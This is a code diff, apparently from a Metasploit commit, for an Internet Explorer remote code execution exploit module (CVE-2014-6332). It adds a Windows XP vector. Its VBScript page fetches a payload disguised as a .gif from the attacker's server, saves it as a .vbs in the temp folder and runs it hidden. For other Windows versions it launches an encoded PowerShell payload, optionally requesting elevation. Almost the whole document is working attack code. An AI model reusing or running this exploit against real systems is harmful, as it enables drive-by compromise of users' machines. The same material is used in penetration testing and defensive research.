@@ -11,17 +11,21 @@ class Metasploit4 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::BrowserExploitServer
14
+ include Msf ::Exploit ::EXE
14
15
include Msf ::Exploit ::Powershell
15
16
16
17
def initialize ( info = { } )
17
18
super ( update_info ( info ,
18
19
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
19
20
'Description' => %q{
20
21
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
21
- The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
22
- For this module to be successful, powershell is required on the target machine. On
23
- Internet Explorer versions using Protected Mode, the user has to manually allow
24
- powershell.exe to execute in order to be compromised.
22
+ The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
23
+ Windows 10, and there is no patch for Windows XP or older.
24
+
25
+ Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
26
+ Windows systems, the exploit will try using Powershell instead. If Protected Mode is
27
+ enabled, the user has to manually allow powershell.exe to execute in order to be
28
+ compromised.
25
29
} ,
26
30
'License' => MSF_LICENSE ,
27
31
'Author' =>
@@ -32,6 +36,7 @@ def initialize(info={})
32
36
'Wesley Neelen' , # security[at]forsec.nl
33
37
'GradiusX <francescomifsud[at]gmail.com>' ,
34
38
'b33f' , # @FuzzySec
39
+ 'sinn3r'
35
40
] ,
36
41
'References' =>
37
42
[
@@ -46,14 +51,24 @@ def initialize(info={})
46
51
'Platform' => 'win' ,
47
52
'Targets' =>
48
53
[
49
- [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
54
+ [
55
+ 'Windows XP' ,
56
+ {
57
+ 'os_name' => OperatingSystems ::Match ::WINDOWS_XP
58
+ }
59
+ ] ,
60
+ [
61
+ 'Other Windows x86' ,
62
+ {
63
+ 'os_name' => OperatingSystems ::Match ::WINDOWS ,
64
+ }
65
+ ]
50
66
] ,
51
67
'BrowserRequirements' =>
52
68
{
53
69
:source => /script|headers/i ,
54
70
:ua_name => HttpClients ::IE ,
55
- :os_name => /win/i ,
56
- :arch => 'x86' ,
71
+ :arch => ARCH_X86 ,
57
72
:ua_ver => lambda { |ver | ver . to_i . between? ( 4 , 10 ) }
58
73
} ,
59
74
'DefaultOptions' =>
@@ -260,31 +275,73 @@ def vbs_prepare()
260
275
261
276
end
262
277
263
- def get_html ( )
278
+ def vbs_vector ( prep )
279
+ vbs_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 16 ) +4 ) } .vbs"
280
+ gif_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 5 ) +3 ) } .gif"
281
+
282
+ payload_src = ( datastore [ 'SSL' ] ? 'https' : 'http' )
283
+ payload_src << '://'
284
+ payload_src << ( datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ] )
285
+ payload_src << ":#{ datastore [ 'SRVPORT' ] } #{ get_module_resource } /#{ gif_name } "
264
286
287
+ # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
288
+ # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
289
+ %Q|<!doctype html>
290
+ <html>
291
+ <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
292
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
293
+ <body>
294
+ <script language="VBScript">
295
+ function runaaaa()
296
+ On Error Resume Next
297
+
298
+ set xmlhttp = CreateObject("Microsoft.XMLHTTP")
299
+ xmlhttp.open "GET", "#{ payload_src } ", False
300
+ xmlhttp.send
301
+
302
+ Set objFSO=CreateObject("Scripting.FileSystemObject")
303
+ folder = objFSO.GetSpecialFolder(2)
304
+ scriptName = folder + "\\ #{ vbs_name } "
305
+ Set objFile = objFSO.CreateTextFile(scriptName,True)
306
+ objFile.Write xmlhttp.responseText
307
+ objFile.Close
308
+
309
+ set shell=createobject("Shell.Application")
310
+ shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
311
+
312
+ end function
313
+ </script>
314
+ <script language="VBScript">
315
+ #{ prep }
316
+ </script>
317
+ </body>
318
+ </html>
319
+ |
320
+ end
321
+
322
+ def powershell_vector ( prep )
265
323
if datastore [ 'TRYUAC' ]
266
324
tryuac = 'runas'
267
325
else
268
326
tryuac = 'open'
269
327
end
270
328
329
+ # Powershell was the first technique demonstrated publicly.
330
+ # On some Windows setups such as Windows 7 + IE 8, this works quite well.
331
+ # But you will get a prompt for IE9 or newer.
271
332
payl = cmd_psh_payload ( payload . encoded , "x86" , { :remove_comspec => true } )
272
333
payl . slice! "powershell.exe "
273
- prep = vbs_prepare ( )
274
334
275
- html = %Q|
276
- <!doctype html>
335
+ %Q|<!doctype html>
277
336
<html>
278
337
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
279
338
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
280
339
<body>
281
340
<script language="VBScript">
282
341
function runaaaa()
283
342
On Error Resume Next
284
-
285
343
set shell=createobject("Shell.Application")
286
344
shell.ShellExecute "powershell.exe", "#{ payl } ", "", "#{ tryuac } ", 0
287
-
288
345
end function
289
346
</script>
290
347
<script language="VBScript">
@@ -293,12 +350,38 @@ def get_html()
293
350
</body>
294
351
</html>
295
352
|
353
+ end
296
354
355
+ def get_html
356
+ prep = vbs_prepare ( )
357
+ case get_target . name
358
+ when OperatingSystems ::Match ::WINDOWS_XP
359
+ return vbs_vector ( prep )
360
+ else
361
+ return powershell_vector ( prep )
362
+ end
297
363
end
298
364
299
365
def on_request_exploit ( cli , request , target_info )
300
- print_status ( "Requesting: #{ request . uri } " )
301
- send_exploit_html ( cli , get_html ( ) )
366
+ case request . uri
367
+ when /\. gif/
368
+ if get_target . name =~ OperatingSystems ::Match ::WINDOWS_XP
369
+ p = regenerate_payload ( cli )
370
+ data = generate_payload_exe ( { :code => p . encoded } )
371
+
372
+ # The default template uses \n, and wscript.exe isn't very happy about that.
373
+ # It should be \r\n .
374
+ vbs = Msf ::Util ::EXE . to_exe_vbs ( data ) . gsub ( /\x0a / , "\r \n " )
375
+
376
+ send_response ( cli , vbs )
377
+ else
378
+ # The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
379
+ # something is not right.
380
+ send_not_found ( cli )
381
+ end
382
+ else
383
+ send_exploit_html ( cli , get_html )
384
+ end
302
385
end
303
386
304
387
end
0 commit comments